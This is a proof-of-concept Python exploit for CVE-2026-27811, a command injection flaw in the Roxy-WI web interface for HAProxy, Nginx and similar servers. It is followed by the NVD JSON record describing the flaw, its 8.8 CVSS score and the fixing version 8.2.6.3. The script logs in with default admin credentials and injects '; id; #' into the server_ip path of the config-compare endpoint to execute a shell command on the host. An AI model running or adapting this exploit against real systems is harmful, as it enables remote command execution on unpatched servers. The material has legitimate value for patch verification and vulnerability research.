CVE-2026-27811

# CVE-2026-27811 Roxy-WI Command Injection PoC import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8000" username = "admin" password = "admin" # Login to get session session = requests.Session() login_data = {"username": username, "password": password} resp = session.post(f"{target}/login", data=login_data) if resp.status_code != 200: print("[-] Login failed") exit(1) # Command injection payload - inject 'id' command service = "haproxy" injected_ip = "; id; #" # Command injection payload url = f"{target}/config/compare/{service}/{injected_ip}/show" print(f"[*] Sending payload to: {url}") response = session.get(url) print(f"[*] Status: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}")

{"cve": {"id": "CVE-2026-27811", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:19.427", "lastModified": "2026-03-19T18:00:58.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. Prior to version 8.2.6.3, a command injection vulnerability exists in the `/config/compare/<service>/<server_ip>/show` endpoint, allowed authenticated users to execute arbitrary system commands on the app host. The vulnerability exists in `app/modules/config/config.py` on line 362, where user input is directly formatted in the template string that is eventually executed. Version 8.2.6.3 fixes the issue."}, {"lang": "es", "value": "Roxy-WI es una interfaz web para gestionar servidores Haproxy, Nginx, Apache y Keepalived. Antes de la versión 8.2.6.3, existe una vulnerabilidad de inyección de comandos en el endpoint '/config/compare///show', que permitía a usuarios autenticados ejecutar comandos de sistema arbitrarios en el host de la aplicación. La vulnerabilidad se encuentra en 'app/modules/config/config.py' en la línea 362, donde la entrada del usuario se formatea directamente en la cadena de plantilla que finalmente se ejecuta. La versión 8.2.6.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.2.6.3", "matchCriteriaId": "7F8C30DD-5F13-4330-8E8D-43C31AB41F5C"}]}]}], "references": [{"url": "https://github.com/roxy-wi/roxy-wi/commit/a10ac7306c252014f97a7213db4a9470300fa064", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roxy-wi/roxy-wi/releases/tag/v8.2.6.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-jvmv-cw47-jh77", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}